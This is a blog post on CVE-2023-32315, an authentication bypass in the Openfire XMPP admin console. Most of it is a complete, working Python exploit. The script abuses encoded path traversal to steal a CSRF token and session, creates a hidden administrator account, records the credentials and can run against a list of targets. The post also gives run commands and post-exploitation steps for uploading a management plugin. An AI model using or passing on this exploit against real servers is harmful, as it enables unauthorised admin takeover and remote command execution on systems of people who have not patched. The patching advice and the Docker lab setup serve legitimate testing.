Unveiling CVE-2023-32315: A Critical Vulnerability in Openfire

In our interconnected digital world, the security of communication platforms is crucial.

Openfire, a widely used XMPP server that enables real-time communication and collaboration, recently came under scrutiny for a significant vulnerability known as CVE-2023-32315.

This flaw allows for an authentication bypass in the web-based administrative console, potentially giving unauthorized users access to restricted areas.

In this blog post, we delve into the details of this vulnerability, its implications, and the measures taken to address it.

Understanding the Vulnerability: Path Traversal Attack

Openfire, an XMPP server that operates under the Open Source Apache License, has recently been discovered to harbor a significant vulnerability.

This issue, known as CVE-2023-32315, pertains to the administrative console of Openfire, an application that is web-based.

The administrative console was revealed to be susceptible to a path traversal attack through its setup environment.

In essence, this vulnerability allowed an unauthorized user to exploit the Openfire Setup Environment, even in an already configured Openfire setting, to gain access to restricted pages in the Openfire Admin Console, usually reserved for administrative users only.

Historical Impact & Mitigating the Vulnerability

This security loophole is not just a recent occurrence. It has affected every version of Openfire released from April 2015 onwards, starting with version 3.10.0.

The implication of this is vast, given the widespread use of Openfire over the years.

However, there is some relief for users. The developers have managed to patch up this problem in the 4.7.5 and 4.6.8 releases of Openfire.

Moreover, they are planning to introduce further enhancements to address this vulnerability in the first yet-to-be-released version on the 4.8 branch, expected to be version 4.8.0.

As an immediate measure, all users are strongly encouraged to upgrade to these patched versions.

Proof-of-Concept (PoC)

The exploitation of this vulnerability is illustrated by the HTTP request example:

GET /user-create.jsp?csrf=Sio3WOA89y2L9Rl&username=user1&name=&email=&password=Qwer1234&passwordConfirm=Qwer1234&isadmin=on&create=............ HTTP/1.1

This specific request creates a new administrator user without proper authentication, leveraging the vulnerability to bypass security measures.

Ultimate Guide on Reproducing the Exploit

This guide provides a step-by-step walkthrough of how to reproduce the exploit:

import random
import string
import argparse
from concurrent.futures import ThreadPoolExecutor
import HackRequests

artwork = '''

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗      ██████╗ ██████╗ ██████╗  ██╗███████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗     ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚═══██╗██╔═══╝  ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝     ██████╔╝███████╗██████╔╝ ██║███████║
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝      ╚═════╝ ╚══════╝╚═════╝  ╚═╝╚══════╝
                                                                                                       
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!
'''

def generate_random_string(length):
    charset = string.ascii_lowercase + string.digits
    return ''.join(random.choice(charset) for _ in range(length))

def between(string, starting, ending):
    s = string.find(starting)
    if s < 0:
        return ""
    s += len(starting)
    e = string[s:].find(ending)
    if e < 0:
        return ""
    return string[s : s+e]

final_result = []

def exploit(target):
    hack = HackRequests.hackRequests()
    host = target.split("://")[1]

    # setup 1: get csrf + jsessionid
    jsessionid = ""
    csrf = ""

    try:
        url = f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp"

        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Connection": "close",
            "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
            "DNT": "1",
            "X-Forwarded-For": "1.2.3.4",
            "Upgrade-Insecure-Requests": "1"
        }
        print(f"[..] Checking target: {target}")
        hh = hack.http(url, headers=headers)
        jsessionid = hh.cookies.get('JSESSIONID', '')
        csrf = hh.cookies.get('csrf', '')

        if jsessionid != "" and csrf != "":
            print(f"Successfully retrieved JSESSIONID: {jsessionid} + csrf: {csrf}")
        else:
            print("Failed to get JSESSIONID and csrf value")
            return
        
        # setup 2: add user
        username = generate_random_string(6)
        password = generate_random_string(6)
        
        header2 = {
            "Host": host,
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Connection": "close",
            "Cookie": f"JSESSIONID={jsessionid}; csrf={csrf}",
            "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
            "DNT": "1",
            "X-Forwarded-For": "1.2.3.4",
            "Upgrade-Insecure-Requests": "1"
        }

        create_user_url= f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf={csrf}&username={username}&name=&email=&password={password}&passwordConfirm={password}&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7"
        hhh = hack.http(create_user_url, headers=header2)

        if hhh.status_code == 200:
            print(f"User added successfully: url: {target} username: {username} password: {password}")
            with open("success.txt", "a+") as f:
                f.write(f"url: {target} username: {username} password: {password}\n")
        else:
            print("Failed to add user")
        # setup 3: add plugin

    except Exception as e:
        print(f"Error occurred while retrieving cookies: {e}")

def main():
    print(artwork)

    ## parse argument
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The URL of the target, eg: http://127.0.0.1:9090', default=False)
    parser.add_argument("-l", "--list", action="store", help="List of target url saperated with new line", default=False)
    args = parser.parse_args()

    if args.target is not False:
        exploit(args.target) 
	
    elif args.list is not False:
        with open(args.list) as targets:
            for target in targets:
                target = target.rstrip()
                if target == "":
                    continue
                if "http" not in target:
                    target = "http://" + target
                exploit(target) 
    else:
        parser.print_help()
        parser.exit()

# def main():
#     parser = argparse.ArgumentParser(description="CVE-2023-32315")
#     parser.add_argument("-u", help="Target URL")
#     parser.add_argument("-l", help="File containing URLs")
#     parser.add_argument("-t", type=int, default=10, help="Number of threads")

#     args = parser.parse_args()

#     target_url = args.u
#     file_path = args.l
#     thread = args.t

#     targets = []

#     if target_url is None:
#         with open(file_path, "r") as file:
#             for line in file:
#                 target = line.strip()
#                 if target == "":
#                     continue
#                 if "http" not in target:
#                     target = "http://" + target
#                 targets.append(target)

#         with ThreadPoolExecutor(max_workers=thread) as executor:
#             for target in targets:
#                 executor.submit(exploit, target)
                

#     else:
#         exploit(target_url)

if __name__ == "__main__":
    main()

Setting Up the Environment

To start with, you need to clone the repository that contains the Python script demonstrating the exploitation of this vulnerability.

Use the following commands to clone the repository and navigate into its directory:

git clone https://github.com/miko550/CVE-2023-32315.git
cd CVE-2023-32315

Next, install the necessary Python dependencies listed in the requirements.txt file within the cloned repository:

pip3 install -r requirements.txt

Exploiting the Vulnerability

With the setup complete, you are now ready to run the exploit. If you have a single target, use the -t option followed by the target’s URL.

For instance:

python3 CVE-2023-32315.py -t http://127.0.0.1:9090

If you have multiple targets, you can list their URLs in a text file and use the -l option followed by the name of this file:

python3 CVE-2023-32315.py -l lists.txt

Post-Exploitation Steps

After successfully exploiting the vulnerability, follow these steps:

Log in using the newly added user.

Navigate to the ‘plugin’ tab and upload the openfire-management-tool-plugin.jar.

Go to ‘server settings’ under the ‘server’ tab and click on ‘Management tool’.

Setting Up a Vulnerable Openfire Docker

For testing purposes, you can set up a Docker container running a vulnerable version of Openfire.

Use the following commands to pull the Docker image and run it:

docker pull nasqueron/openfire:4.7.1
sudo docker run --name openfire -d --restart=always --publish 9090:9090 --publish 5222:5222 --publish 7777:7777 --volume /srv/docker/openfire:/var/lib/openfire nasqueron/openfire:4.7.1

Conclusion

The discovery of the CVE-2023-32315 vulnerability in Openfire underscores the critical importance of robust cybersecurity practices.

It serves as a stark reminder that even widely used and trusted platforms can harbor significant flaws.

However, the prompt response from the developers in patching the vulnerability, coupled with the community’s proactive sharing of mitigation strategies, demonstrates the strength of the open-source community.

As we continue to rely on digital platforms for communication and collaboration, let this incident remind us of the need for constant vigilance, regular software updates, and prioritizing security in our digital interactions.